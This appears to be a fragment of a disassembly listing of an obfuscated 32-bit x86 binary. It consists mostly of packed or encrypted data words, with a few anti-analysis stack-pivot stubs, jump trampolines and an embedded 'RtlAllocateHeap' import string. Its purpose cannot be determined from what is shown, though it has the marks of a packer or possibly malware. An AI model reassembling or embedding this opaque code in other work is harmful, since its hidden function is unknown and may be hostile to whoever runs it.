		dd 0E8B3EFEEh, 71F24900h, 5B2B5924h, 0E8B39Eh, 0F9D1B9EEh
		dd 0D6E5BA0Fh, 2D160h, 0B37A0100h, 6D13ED7Ch, 0DF439BE8h
		dd 0FA824889h, 1897E606h, 80C14DA3h, 0A6950CE8h, 51FD0A15h
		dd 0E49B5CCFh, 3CB9320Ah, 0EBE93523h, 20DB445h,	8CD95A02h
		dd 1B6DCE32h, 0F90B9D7h, 0FB501C1Fh, 2D3C81E3h,	9C3EC3D1h
		dd 9D1695D0h, 0DC5BC820h, 18150562h, 660501F0h,	61DC5F09h
		dd 34B44DDCh, 660A1DDCh, 45C0BB09h, 0FBC45A4h, 0FDA6DC1Eh
		dd 0FA2DA846h, 682EB7FCh, 0B78791DDh, 0A3000002h, 0F75AB765h
		dd 669862Ch, 54BB5400h,	66C926CAh, 6114F5A1h, 7D29FE5Dh
		dd 4DF30D9Ch, 1EC05DACh, 0EF976EC1h, 7C948912h,	0E0887Dh
		dd 0BFDA3FDBh, 0DBA951D0h, 0ACB1D9Eh, 0A406FA82h, 0AF0F5CD9h
		dd 0CA98F04Dh, 840CE089h, 99E78995h, 433A67DCh,	0EA986FFAh
		dd 0B965A20Dh, 0FF3EE404h, 0DA6528F0h, 8F079B7Fh, 44C13C65h
		dd 0F9022838h, 0E73EB2A7h, 0D204943Fh, 99D55EACh, 2398Fh
		dd 35E32100h, 4AA75D4h,	0D27E84EBh, 0A448DA35h,	731FE44Bh
		dd 7CDBEF96h, 0B31EFBA7h, 0C32ECB71h, 0EC439C3Eh, 0B8C6D15h
		dd 8903F216h, 815D00E0h, 0ED4F6F58h, 892A3850h,	0B9840CE0h
		dd 8B3EBBCBh, 0ED4E00E0h, 8B9958B0h, 443700E0h,	0D4AC86CFh
		dd 0D6ED8ED4h, 17DB5h, 946D5C00h, 83DD9EEAh, 8AFCA05h
		dd 5130B58Ch, 64C926D0h, 2345F65Ah, 0CE85387h, 80D09C9Fh
		dd 0E86755h, 42167C25h,	0D6E56242h, 9FB196F2h, 0C61C2941h
		dd 2E2D4Dh, 6FD40000h, 0C150ED4Fh, 91EC983Eh, 8D41A714h
		dd 890CE8A5h, 0ED8D43AFh, 0CC4B57AEh, 0E225D0A0h, 2C5500E8h
		dd 0EB727246h, 0C11FD6E5h, 0BA000000h, 65F7946Dh, 0BF801F4Dh
		dd 75E0BD00h, 32B1DA14h, 0A722C85Bh, 52F80B16h,	0E522ABD1h
		dd 43C24B39h, 8B06AC77h, 0ED956CFDh, 9442C150h,	0F7088DE8h
		dd 989A2E4Ah, 6037C524h, 40B67DE3h, 0A3E006FAh,	0FAC18C4Dh
		dd 0ECDFE906h, 84B4E761h, 80EF64D7h, 0F564D981h, 0EE0F842Ah
		dd 0FC051451h, 0F813C252h, 849F06FAh, 45BEBDDEh, 89329628h
		dd 0E75F2567h, 7DBEBD0Ch, 88691512h, 0ED34E221h, 5EA7CF11h
		dd 0F398A6A2h, 0FF000000h, 339E7B29h, 42AD4AF0h, 90FF18C4h
		dd 0A20DEA8Eh, 2558B965h, 41ED3A21h, 11B749A0h,	0E28499F0h
		dd 0B35BAA05h, 3850CD56h, 0E08EB9h, 6DE67B17h, 0A00FE896h
		dd 0F958B961h, 51EA946Dh, 0BFAA0537h, 880D1970h, 0F29C65E4h
		dd 0C226B815h, 69FF3C79h, 6FAE068h, 0B62749C6h,	1006FAE0h
		dd 0A335AE2Dh, 0CE85013h, 0BCAB106Bh, 24CE5767h, 0DD1848A9h
		dd 4900E831h, 9EF10EB8h, 0ECAFDD89h, 0B860A0AFh, 0E831A928h
		dd 0BF340700h, 656Fh, 4F6FEA00h, 0F51350EDh, 0D9EE7056h
		dd 990F8490h, 0CE013CFh, 0E1681467h, 36997620h,	9AF647EFh
		dd 704601ACh, 0D6A61F93h, 6F09D98Eh, 7AD011F1h,	32CF778Eh
		dd 0D09C46DFh, 7503A579h, 3B1971BAh, 422ED22Ch,	42C3AE27h
		dd 11107F98h, 0F1601B69h, 0F7976A30h, 2CADC378h, 8A305A58h
		dd 3E832B3h, 69000000h,	976DF998h, 0F3329BE9h, 51AC3D4Bh
		dd 0BA4AC3B1h, 20E76612h, 80870672h, 0DB27A6D2h, 44C24B39h
		dd 0A27DEC98h, 522D70FCh, 0C281E289h, 4, 4B850h, 0C2290000h
		dd 24148758h, 0E389535Ch, 4C381h, 0EB830000h, 241C8704h
		dd 2434895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 68BE2404h, 0F70BF66Dh, 12CE81DEh, 0F7288C0Fh, 0BABB53D6h
		dd 31056869h, 8B545BDEh, 0C4832404h, 4EC8104h, 89000000h
		dd 408F2434h, 2434FF08h, 4C48358h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0F8092D86h, 0DAAB8A5h, 0C503061Ah, 0DD37E0FFh, 7E0066F1h
		dd 0EAD31079h, 499B575Fh, 8D8D35D6h, 61A0F55h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 10C35545h, 27918D89h
		dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 45969FC3h, 0B5EDEE2h, 1202A195h, 3985C706h
		dd 94061234h, 6A000058h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0BC3FC353h,	9D54A913h
		dd 0D3BF0F4Ah, 2E5D85C7h, 612h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD89CDC3h
		dd 61223D1h, 5870Fh, 81660000h,	0FFD86FF2h, 1230DDB5h
		dd 0C90CBE06h, 95FF480Dh, 6120AC9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DC35747h, 0A1ABC724h, 0BE957F1h
		dd 52000000h, 9EB0C849h, 765F78E5h, 6A58040Ah, 7595FF00h
		dd 8B061224h, 315FEBC0h, 0FED8A50h, 0F472BE33h,	9504D0A2h
		dd 0DD0A9967h, 0CDA7A149h, 902E789Eh, 0B769EFC9h, 0E49A07Fh
		dd 0B6713B04h, 0D442CD23h, 0D37AC04Eh, 554949B5h, 7B1D8EE2h
		dd 515947D0h, 86BE5F30h, 800668BCh, 836BB01Bh, 0B6A87B15h
		dd 9813DD84h, 4353E798h, 0BBE1DA65h, 0FDF02C2Dh, 0FEF42E14h
		dd 25E9FE24h, 12000000h, 5249E487h, 6C416C74h, 61636F6Ch
		dd 65486574h, 7061h, 1400h, 3 dup(0)
		dd 1075E9h, 11CC6800h, 81E9061Ah, 68FFF870h, 61A12D1h
		dd 0F87077E9h, 150E68FFh, 6DE9061Ah, 68FFF870h,	61A15FDh
		dd 0F87063E9h, 190F68FFh, 59E9061Ah, 68FFF870h,	61A19B4h
		dd 0F8704FE9h, 19F368FFh, 45E9061Ah, 68FFF870h,	61A1B21h
		dd 0F8703BE9h, 1BC368FFh, 31E9061Ah, 68FFF870h,	61A1C1Dh
		dd 0F87027E9h, 1DB268FFh, 1DE9061Ah, 68FFF870h,	61A1EF2h
		dd 0F87013E9h, 49F70DFFh, 18BE41A8h, 0E69290FFh, 0B85CA609h
		dd 8733F05Fh, 48EFD36Ah, 9FF20FBBh, 0AF02DF85h,	0F857B052h
		dd 3F608129h, 92EFEE02h, 0AD4900E0h, 6946D34h, 0ACD857FFh
		dd 0BE0F91EFh, 0ACBDFFA1h, 21C95837h, 85EB2853h, 6FA8754h
		dd 0EE9A3EC0h, 1873CA93h, 59146008h, 0CE708DDCh, 0E64C85A2h
		dd 9445ABE8h, 3206FA87h, 66BFCA4Bh, 37CC23BCh, 0E9F7496h
		dd 47D9213Ah, 908A6CFAh, 57B02F90h, 5A9BED2Ah, 0F406FA97h
		dd 0A47D0C89h, 0EC6B0B16h, 4EF80980h, 1E825CB1h, 91BF4B9Dh
		dd 28B70CE8h, 5B635D5h,	0EF64081Ah, 0A100F59Dh,	0CF7000E8h
		dd 0A49D0F63h, 34F2D6E5h, 97000000h, 0FE014F6Fh, 60DD58h
		dd 0E90EE774h, 0A21F947Ch, 0E82D924Eh, 0CB55840Ch, 2CF65725h
		dd 0E28E0D88h, 0E8376792h, 8621700h, 0E53E30B0h, 0E459D6h
		dd 6DF80000h, 0DD9EEA94h, 7D0BB372h, 1FE48300h,	7D840573h
		dd 0C540E639h, 214784B7h, 6FA82B0h, 0DBB62F0Eh,	1147A04Ah
		dd 6FA7E2Bh, 9E69091h, 0C9B75FA6h, 0A3187C42h, 42C36FB4h
		dd 157BB8F5h, 6FA86E4h,	650F1742h, 66DF5A17h, 0E88AB2F2h
		dd 30D1AC0Ch, 1CA103DBh, 0F51A9BF4h, 7DBEBD0Ah,	402FA0C0h
		dd 0AA1CFDC7h, 1DC95E29h, 4966DFCh, 4B2652FEh, 0D07405CCh
		dd 2B2764B8h, 0E081Dh, 0B563A100h, 842AF554h, 52FE046Bh
		dd 24C85AB5h, 0F39F64CBh, 0FC5B6F16h, 339E7B27h, 43AE4BF1h
		dd 6CC31CBEh, 8B0CED95h, 93837296h, 1DD00E0h, 0EE02BFD8h
		dd 6FA82EFh, 1671F249h,	0D2748911h, 47A9E657h, 6FA8296h
		dd 37C84D30h, 5766EE0Ah, 7948CA08h, 6946DFCh, 4E2B59FDh
		dd 6C4BC2CEh, 0DF5A3BBFh, 4F6FA702h, 0FD1350EDh, 6FA82FCh
		dd 7888E35Ah, 4CC9A4D0h, 0A54599EFh, 6510CE8h, 0AAD65501h
		dd 55D397F1h, 3A7C9D6Dh, 0C1A257B9h, 0F13600E8h, 4FD63745h
		dd 0CD9CD9A7h, 69E08C32h, 0A1F096h, 0EA9F122Ah,	0C8B82880h
		dd 9DD1D6E5h, 70000000h, 9EEA946Dh, 3E4AF80Fh, 0FA7E6C56h
		dd 25CD5406h, 0CC9C65C4h, 0FA8735A4h, 2DA89306h, 8EF2CC5Fh
		dd 8BABDB2Dh, 0B8830CE8h, 0F037225Fh, 34B353AEh, 0DBA82D48h
		dd 0F41CA103h, 0AF51CC8h, 30EAF8Eh, 56B95604h, 0E1F225D1h
		dd 9464B991h, 0D03CED8h, 68BC0000h, 2FF05FB8h, 3036E8Bh
		dd 0CD51B859h, 0A463CE2Bh, 606219F6h, 617E2CFBh, 0B14EF60Eh
		dd 0C623C35Eh, 17F09A6Bh, 7E7F918Eh, 0D800E090h, 966DA73Ah
		dd 61A00FE8h, 82E404B9h, 8C91FA9h, 0A606FA70h, 71E745D7h
		dd 8BEE0F84h, 0A753D0BFh, 48279CD9h, 0BDAC11B9h, 0B3CEBA64h
		dd 42C34A32h, 0ECE97F98h, 0AA06FA82h, 0B2BE64BFh, 0D2533EB7h
		dd 0A160CF28h, 41D08BF9h, 136E1ABCh, 842EF792h,	83EF58F8h
		dd 3BD47E87h, 8D0B1B06h, 3F4DC876h, 9E0EC142h, 2ED0F78Bh
		dd 4D3BE123h, 76FBFA0Eh, 0E655F905h, 0B990EA6Bh, 31000000h
		dd 14F6Fh, 0E62DB56h, 0CE86D7Ah, 0ADBC017Ch, 4CDDAB55h
		dd 66311B1h, 0D060118Bh, 32409710h, 3EBBCBB1h, 4E00E80Bh
		dd 6F593119h, 0D6E50Eh,	84h, 6B17EC7Bh,	0CE728C1Dh, 0CB48C7A2h
		dd 826094B4h, 0E8F606FAh, 72D93784h, 0A51F12D9h, 84EC49CAh
		dd 0CE8CF8Ch, 7C85F8Ah,	8C03B971h, 0DEAA29EDh, 64CB24A3h
		dd 0DF4AF39Fh, 97D29E44h, 3EB68605h, 0B83DCC9Eh, 258757B4h
		dd 32CC5B98h, 0B783158Eh, 8F0AFA3Fh, 21FC53ACh,	4698F381h
		dd 0E33759E2h, 2300CC0Bh, 0E05EEF34h, 21DC6248h, 0DA87FC7Bh
		dd 9FF98663h, 52AD9A94h, 0D3722CACh, 857AA421h,	1F000008h
		dd 50ED4F6Fh, 0E8A61838h, 7907760Ch, 0E8AFECE9h, 7FEB9C00h
		dd 0E5AAB92Bh, 11C0BD6h, 0DD561361h, 1FBDh, 61942400h
		dd 1906FA82h, 0D00167A4h, 8E06FA82h, 0FA827B7Ah, 3566D506h
		dd 1A1DCD46h, 0C4FFFFFCh, 50ED4F6Fh, 0E8720438h, 9DEB520Ch
		dd 0E89300F5h, 63CF7000h, 0E5969D0Fh, 4AAF2D6h,	7A970000h
		dd 0BD1FBFC0h, 80A4E800h, 75320CE8h, 0E880E213h, 82017C00h
		dd 904973E5h, 0A4E158A5h, 2DB18D4Ch, 0D3502BA9h, 77C428B6h
		dd 0B127D63Ah, 0BA81A92Dh, 7894FC39h, 5EA33F97h, 0A43A91DFh
		dd 966CFB40h, 0A4CC69EAh, 0B9016355h, 0D5D7B5D3h, 58C70769h
		dd 2EA722C6h, 0A6B10A71h, 0C906B75Fh, 49036A7h,	0BB63A2BDh
		dd 0C11A9BE2h, 24EF976Eh, 1490BCA1h, 0C60E1854h, 6300000Ah
		dd 0B71AF7A5h, 0C629C66Ch, 147B9440h, 2689660Ah, 0A1D435E1h
		dd 0BD69BE9Dh, 8D33CD5Ch, 5E001D6Ch, 2FD72E81h,	0BCD449D2h
		dd 0E0973Dh, 6D9AFF9Bh,	0C651EA94h, 6F1D963Eh, 2840E2FCh
		dd 6FA82A9h, 0F7E60A07h, 5106FA82h, 4BF06FEAh, 3EBFD10Eh
		dd 9806FA82h, 8284759Bh, 5B2206FAh, 81F167DCh, 0DD0CE8A6h
		dd 0AF72DD5Eh, 829FF20Fh, 0D34EF20Ch, 0AF1CDDA5h, 847100E8h
		dd 1200E85Fh, 0BDD368CCh, 0AFABDBDh, 0E562219h,	0ADEC2CBh
		dd 0C49CF6BBh, 0DCD3CBC4h, 25A5h, 4F6F4C00h, 66B80201h
		dd 3CBBB6C2h, 0CC5A3530h, 0F018A520h, 0CE88E80h, 6A115FDEh
		dd 0F87D27FFh, 22D6h, 2BFB300h,	0FA82EFEEh, 71F24906h
		dd 0D566CA14h, 82817098h, 5CDF06FAh, 96365AE7h,	0D00CE89Dh
		dd 6D861F6Dh, 0F43BEA94h, 275892BEh, 9D71D2Bh, 94900000h
		dd 5BA40BE4h, 2FF75AB7h, 0F9056485h, 0D057BA57h, 8CBEC522h
		dd 4DAA58AFh, 9D7A22E2h, 0B24FEF32h, 0C31CC65Fh, 5283E55Ah
		dd 0EC00E097h, 4F6F8BCEh, 143850EDh, 820CE87Dh,	9AFB8C97h
		dd 0FA355A90h, 80E855D0h, 0E84351h, 4A178CEFh, 0A5A31DEEh
		dd 946D96E4h, 64E39EEAh, 2553FD05h, 0FCBFCD48h,	303916Dh
		dd 0D34E2B59h, 5CA1C8A5h, 32B3CEBAh, 0CB24CE57h, 237AD99Dh
		dd 0A744DEAh, 0DA3E80EDh, 809F0F61h, 88D721B6h,	0EB50CF7Bh
		dd 8FFDA57Ch, 820B71F2h, 0F160DD81h, 0F20B882Eh, 5EDF419Dh
		dd 6059C721h, 237186EBh, 9015B548h, 987C4808h, 2697E63Fh
		dd 9544ACE9h, 333F787Ch, 7C19D848h, 31573F78h, 3F787CC0h
		dd 0FF7E1F1Eh, 6B6EF686h, 1B3F787Ch, 957E46A2h,	1D726E30h
		dd 2F83EF98h, 0E975FABDh, 4401000Fh, 3752E0B0h,	2957D21Fh
		dd 5899EF4Ch, 0F63F786Ah, 116C0E87h, 15000001h,	50ED4F6Fh
		dd 0AA743EC1h, 80FF7A06h, 0E52B603h, 80CE87Dh, 3FC64735h
		dd 0E177A97h, 0B648D764h, 0B0EB9112h, 0CD555FA1h, 9DD8A423h
		dd 9EC4B018h, 0DF68EA23h, 2DFA6573h, 9C650481h,	0F96815F2h
		dd 6A057E28h, 0FD85F39Bh, 0C16CD979h, 1E6A18EFh, 0E223758Fh
		dd 0F0CFBD38h, 7EBBD3BFh, 54AD5D35h, 23E24DAAh,	419E0D7Bh
		dd 3844F231h, 90D4DE20h, 64E30D44h, 5D3C54E9h, 3B5252D7h
		dd 7F9153ACh, 5252D67Eh, 6BE665D8h, 17BD47D2h, 0CE107D9Eh
		dd 8594D16Ah, 0CE52D37Dh, 58402C56h, 4C0F7DC0h,	4CA444DDh
		dd 5C40ED8Dh, 50D5502Bh, 1078F031h, 5C40EDE1h, 6081FC7Fh
		dd 224EF809h, 40EDAB52h, 1A70B95Ch, 0A67217EEh,	6C9F5846h
		dd 3622BF3Ah, 619C2FA5h, 2FC8328Fh, 0EB9941C0h,	0B462A1B0h
		dd 0F158A93Fh
		dd 0ABDC4238h, 18C243BFh, 0D79190FFh, 0AC1640B1h, 209F9E53h
		dd 85E7F754h, 1784D038h, 170259BEh, 0B4E16210h,	327E28C9h
		dd 1B000000h, 0A951D0BFh, 1D7F5F2Ch, 8E0848A0h,	3BA60CE8h
		dd 0B7C540EAh, 0C829CD56h, 0C3F37E90h, 0C32596FCh, 0E8B9EAh
		dd 8F6A2444h, 0E82B3D04h, 0B44F2E6Bh, 0EA946D5Dh, 21E1700Dh
		dd 69E4869Bh, 88E55E1Bh, 769D236h, 0CE8A407h, 48F0305Fh
		dd 0F63370CDh, 0E8AD6392h, 57EFD00h, 1AF7976Ah,	11C02865h
		dd 9D00E8ADh, 0BD80DD83h, 2FD42938h, 90F81519h,	0E85C61h
		dd 0CC1C7CFFh, 4FEC6BCFh, 1AFFFE12h, 0E25900E8h, 0E0785E7Ah
		dd 0A92AA87Fh, 127648C3h, 4B1747A9h, 0CCAF0AFAh, 6B25D0A0h
		dd 2BB30ADFh, 5C1C74C9h, 0FA00CDA9h, 80EC966Fh,	4A1A66E5h
		dd 14CDA98Fh, 88E04AFFh, 0C2C0A018h, 1371h, 4F6F1000h
		dd 383850EDh, 960CE88Eh, 1ECFD9A7h, 8A000000h, 50ED4F6Fh
		dd 1C495230h, 0A33DC69Eh, 0D5BA280Ah, 46F370B8h, 0E8DCE222h
		dd 0F381FC0Ch, 0EA946D92h, 92BF0A3Bh, 17212D58h, 6C5h
		dd 19F6A662h, 28C96DB6h, 7A9741C1h, 88690B17h, 0DB34E221h
		dd 6AB99EA0h, 34CC23BCh, 11C738Ch, 0D8298061h, 0D348D12Eh
		dd 0E09B3CBDh, 65FC9A00h, 10AEB17Ah, 827F7E92h,	5CD906FAh
		dd 0FA82C534h, 9D186306h, 0C74B9D1Eh, 8F0CE880h, 1485D3ACh
		dd 52CF26BAh, 8CE7F236h, 29AA970Fh, 9D1E825Ch, 882EF160h
		dd 4459850Bh, 9E9DC4B0h, 36579D2h, 0A0C07DBAh, 9B8D8AF5h
		dd 29A83888h, 87C89153h, 7AA93FB4h, 74C28346h, 5CA5B409h
		dd 8F75648Ch, 68D3D284h, 64BD0CEDh, 0CBD06BBAh,	67E32D10h
		dd 62059h, 9D4BD900h, 6C12ED7Ch, 3AE63C93h, 0CB072DDh
		dd 0DB879CF3h, 1443073Eh, 2B86630Fh, 7BD633D9h,	84EB04A6h
		dd 0E334D57Dh, 9B9B5AAEh, 193500E0h, 0EA946DC0h, 92BED63Bh
		dd 634D3958h, 5E1h, 3DDA8A9Eh, 4CAD51D2h, 9E7B25FDh, 0AC4DEF33h
		dd 0FF18C65Dh, 4ED58244h, 18E847A0h, 0E5389770h, 0BC45A445h
		dd 0EFACF512h, 0E09B5899h, 81D8F600h, 4A52D0BFh, 0E89413BBh
		dd 19D8308Dh, 0B706FA82h, 0E1204FC4h, 18A54BD5h, 0FA8201F0h
		dd 61DC5F06h, 0C226B813h, 5CDC3C79h, 32A3C5D9h,	8C06FA5Ch
		dd 50402FB1h, 0D7F058DDh, 710CE09Ah, 5029A017h,	36AFEB00h
		dd 98F51269h, 4EF60E46h, 73C84722h, 0D1F6DA36h,	0E7DD38B8h
		dd 1566FA6Eh, 0CDB00AF2h, 87AB1070h, 1AAD495Bh,	5C196707h
		dd 631864E1h, 8D39F305h, 5B3DFD73h, 1C60F879h, 0C64ACBFAh
		dd 0AD6BD13h, 7C543E63h, 0DCDBB88Ch, 0A31Dh, 0B27A8400h
		dd 0DBB211ADh, 0ABCC6BECh, 2F41FA79h, 0CE8F6E3h, 8DF2F513h
		dd 0BA780F92h, 0C0AC4ED3h, 87320A5h, 0BD47D26Fh, 0C50A9E17h
		dd 0EFC5E733h, 0D79F5EB2h, 4239D3E3h, 5A1AA4C1h, 165321CDh
		dd 12CE229Bh, 4D9F1F1h,	0FEC04B39h, 6ECF219Ah, 0C8D7C385h
		dd 0C859C875h, 976EC11Eh, 2B590303h, 0B300D34Eh, 0E639D3C4h
		dd 4B35C6Ah, 0B84C0000h, 7F80EF08h, 53D33EDBh, 1DE148A9h
		dd 0F4339E7Bh, 0B092A946h, 31CE7C8Bh, 419E46DEh, 967313EEh
		dd 0A740EA3Bh, 2EAFC17Eh, 8800E099h, 9DD277EAh,	0B7000000h
		dd 50ED4F6Fh, 0E0837F38h, 59E2590Ch, 5E9237CEh,	0FA10108Ch
		dd 48A740BFh, 386311B9h, 0B233D529h, 16A709D5h,	0F2DB1EF2h
		dd 3745380Ah, 89980AD4h, 9647D177h, 300AD6E8h, 5998F04Dh
		dd 0F70AD6E8h, 0A5B40984h, 96C5B35Dh, 0D6E88372h, 0E35EDD0Ah
		dd 8998D562h, 0C9A4D076h, 1C30C44Ch, 271600C4h,	0D1451DFCh
		dd 0A14506Ah, 411h, 4DAA5AAEh, 9C7D21E2h, 0AE4BF50Dh, 0FC1DBF43h
		dd 0FE8966Dh, 1EE55274h, 0E8389770h, 0B548A740h, 8C95F415h
		dd 9F9C05E2h, 0E0998849h, 0D1082600h, 0FA826594h, 82CD0806h
		dd 835B06FAh, 53749C21h, 150CE083h, 32F35A26h, 85F39F64h
		dd 0B9BA6DE8h, 9C5EACCEh, 3B7C6D0h, 0B4700000h,	7B84EB04h
		dd 4FD73AD7h, 19E544A5h, 0F0379A77h, 0AC9EA542h, 2DCA788Fh
		dd 7D9A42C2h, 926F0F12h, 0A33CE63Fh, 32A3C57Ah,	8C00E09Eh
		dd 946D6BEEh, 17B945D4h, 0FA824C8Dh, 9F4BD806h,	0BB007FFEh
		dd 9409A5Dh, 0FAC9F6E7h, 73ED5006h, 0E2634FB6h,	0A7AD319Ah
		dd 803DB85Ah, 0E84B5868h, 59ABB60Ch, 2BA8C5B3h,	2332126Eh
		dd 4EC4A3FCh, 0D32236D3h, 9F458BFCh, 761DA88h, 0E86753CDh
		dd 6ED2987Ch, 36E9EF71h, 429140A8h, 4C2F544Ch, 54BB54D1h
		dd 0F65523CFh, 36683EBh, 0AB4FD0BFh, 1CC65F2Ah,	7E28F950h
		dd 29D5523Dh, 232E53ACh, 2F4A36E4h, 0A305D9B6h,	8432F61Ah
		dd 49340CE8h, 8DAE2B3Bh, 5DDE00E8h, 0A79D1D03h,	0C63FA692h
		dd 0C3CDA58Dh, 0ACD6E5ECh, 40h,	0D34F6F55h, 8E16BA44h
		dd 6FA824Fh, 3B707B2Ah,	75262E79h, 0DE328B06h, 0CE85602h
		dd 0B5B2914h, 0E9A3CEh,	0B3A189BEh, 0C7B55DA4h,	15DD5BB7h
		dd 43BEF321h, 759D0FC2h, 0B5F2D6E4h, 97000000h,	9EEA946Dh
		dd 3E4AF80Fh, 0C0AC56AFh, 0F10EB849h, 0FA7EBD67h, 54FE0706h
		dd 0FFAB78E7h, 81EF936Ch, 238E6FE4h, 0A64AD4E2h, 6B473DAh
		dd 0A0AF0C8Bh, 7263855Fh, 0CC06FA87h, 0B71F271h, 0FCFD1350h
		dd 5A06FA87h, 0B90562E3h, 5282E657h, 0EC0CE895h, 0C31B7091h
		dd 10B4DC61h, 0B60AF525h, 6AE61779h, 0FD400ADCh, 0DB60DB78h
		dd 0EE0BB74Ch, 0FD68483h, 64B9A71Ah, 22A771FDh,	0DF000002h
		dd 137E9B49h, 228D6A10h, 70DF38E4h, 82ED0AAEh, 538D985h
		dd 610D1A41h, 31D72980h, 2A479D0h, 0D37B8AE5h, 58B0ED36h
		dd 0E09F99h, 6DC61B37h,	0A00FE896h, 0F958B961h,	0A1702BFh
		dd 0F7611C68h, 6FA8206h, 48EE31A0h, 41C2413Ch, 85369A24h
		dd 498A2848h, 0D6A24CD5h, 4EBA019Bh, 964ADE57h,	800CE8BCh
		dd 32A7CFBDh, 4200E8C4h, 535D351Dh, 0E1D6E5CDh,	7C08AC76h
		dd 6EA8401h, 55000001h,	0E3913DCAh, 6D6A0D86h, 56FE0694h
		dd 59FFA9C6h, 0B6355A88h, 16C443CAh, 0C767BAA5h, 3547BCB9h
		dd 0FA9B672Dh, 0F6C45D06h, 7FFA862Eh, 7988E700h, 0F22F6CD1h
		dd 0FA685F9Eh, 1282F906h, 6FA68E3h, 233DE37Dh, 6B9CBEC7h
		dd 860577ECh, 0CF8EEA38h, 0A50677A9h, 0F2C031A3h, 0A3DD06FAh
		dd 3BD84D22h, 0A65D885h, 4B2652FAh, 0D9196FCCh,	950CE8D7h
		dd 0E63D7D8Ah, 0B2314C38h, 0F8196431h, 0B1012543h, 66A9C983h
		dd 0DA3E80EDh, 0C8780F61h, 5D9A0AF5h, 0DD19CA0Bh, 0C004640Ah
		dd 550142F2h, 0CEAF31ACh, 207976E6h, 7BC29F14h,	0CED057C2h
		dd 0F5129135h, 36E18D9Ah, 64BA2A39h, 0E2A670FCh, 9F000000h
		dd 0D33EDB89h, 0E24DAA50h, 309F7824h, 42AD4AEEh, 45F819C5h
		dd 0A14DDA81h, 7117E940h, 42E43990h, 13BB4AA5h,	98F0ADF6h
		dd 0E09C59h, 6D86DBF7h,	1653E896h, 0FA8203F2h, 8FDE5D06h
		dd 0B556CF75h, 0C623CB5Ah, 0E121BF63h, 9958B007h, 3706FA0Fh
		dd 6DB2D444h, 6CB5D451h, 0CE57B6C2h, 5866CB24h,	0EF8945E9h
		dd 8078F2B8h, 32BD1FA7h, 0DB60DF3Eh, 0E0C42EB5h, 2755280Ch
		dd 731DE574h, 9CEB6805h, 7F3CDD85h, 5930A7E1h, 62E3F936h
		dd 2854FE07h, 0A7254958h, 0F3306D42h, 0E2645C9Dh, 283FA50h
		dd 0E839E941h, 0B74EA13Eh, 16E8610Fh, 648CC972h, 50E26475h
		dd 81EB68D3h, 798E99A6h, 41C2BFCDh, 27FE2A00h, 6F813E7Fh
		dd 50E2646Eh, 0DC8A99C8h, 0DD56D590h, 0AA54AD3Ch, 3F0DEh
		dd 98910000h, 0E9976DF9h, 4BF3329Bh, 0B151AC3Dh, 12BA4AC3h
		dd 7220E766h, 0D2808706h, 39DB27A6h, 9844C24Bh,	0FCA27DECh
		dd 0D1682D70h, 89000005h, 3F68241Ch, 8900001Ah,	1E682404h
		dd 89000011h, 0BF57243Ch, 61A1060h, 3C8BF889h, 4C48324h
		dd 22468h, 24248900h, 4240483h,	4EC815Fh, 89000000h, 8BB241Ch
		dd 1000000h, 5B0389FBh,	5F2434FFh, 4C481h, 34FF0000h, 0C4835824h
		dd 601EE904h, 0B834FFF8h, 7CCEC4Fh, 0F9B8A98Ch,	3061A1Fh
		dd 5EE0FFC5h, 0D53B7DDAh, 0E21CE846h, 0E51267Ah, 2F081E91h
		dd 0DE32D88Ch, 417FCEB8h, 9142F952h, 917CC0CDh,	414C57DDh
		dd 427AA30Dh, 405C5E1Eh, 9C0EA9FFh, 8E230365h, 0F745EE03h
		dd 735DF4D4h, 1F5C9BCDh, 0A362CBADh, 0FA087D95h, 32B3AB8h
		dd 25276DE4h, 71584A47h, 0F83204F9h, 0FD7A5314h, 8D4E54DCh
		dd 1A21288Dh, 918D8906h, 8B061227h, 1213CD95h, 3985C706h
		dd 54061234h, 66000074h, 0C7D6DCBBh, 122E5D85h,	6, 0B5FFF800h
		dd 61234D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	18C35747h, 0FBE3518h, 95FFF1B7h, 6120AC9h, 6AD88Bh
		dd 247595FFh, 0C08B0612h, 309848EBh, 36DC2F1Ch,	0C321751h
		dd 0BF5AD058h, 110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h
		dd 34A1E425h, 924AA4A1h, 0E2D8053Ch, 8EC61873h,	450F0F79h
		dd 0C93C36D1h, 0AD9032D3h, 16436E55h, 494A65B3h, 67AE5D0h
		dd 8D8D3802h, 61A2237h,	918D89F9h, 66061227h, 1319C781h
		dd 343985C7h, 60100612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0BA9E7FC3h, 0FA26718h
		dd 388h, 0F08B6600h, 2E5D85C7h,	612h, 66600000h, 8173F081h
		dd 9E9h, 0B12FE700h, 8D9C552Bh,	0FF61059Ch, 12254DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0C995FF89h, 6A06120Ah, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 63CC352h
		dd 0A5FA35ECh, 0BD8B0534h, 6120CB1h, 0DF57DEB8h, 0FF006A12h
		dd 12247595h, 0EBC08B06h, 0DE2AB409h, 3EEAB696h, 9E99114h
		dd 37000000h, 656B6Ah, 0
		dd 55CE9h, 41EF3500h, 10B649A0h, 0DE8A98F7h, 0B054AE01h
		dd 7F2BF857h, 70E7DB62h, 87EA07B3h, 0D73AD77Dh,	0E04FA84Ah
		dd 7987921h, 0A0F7E60Ah, 0B55100E0h, 0EE02BF2Ch, 6FA82EFh
		dd 1671F249h, 99D6670Fh, 0FA828677h, 0D85D2006h, 0ACEE3594h
		dd 0A7C2AE52h, 56B2CF28h, 0A2D59F1Dh, 73B022A3h, 3560FD5Fh
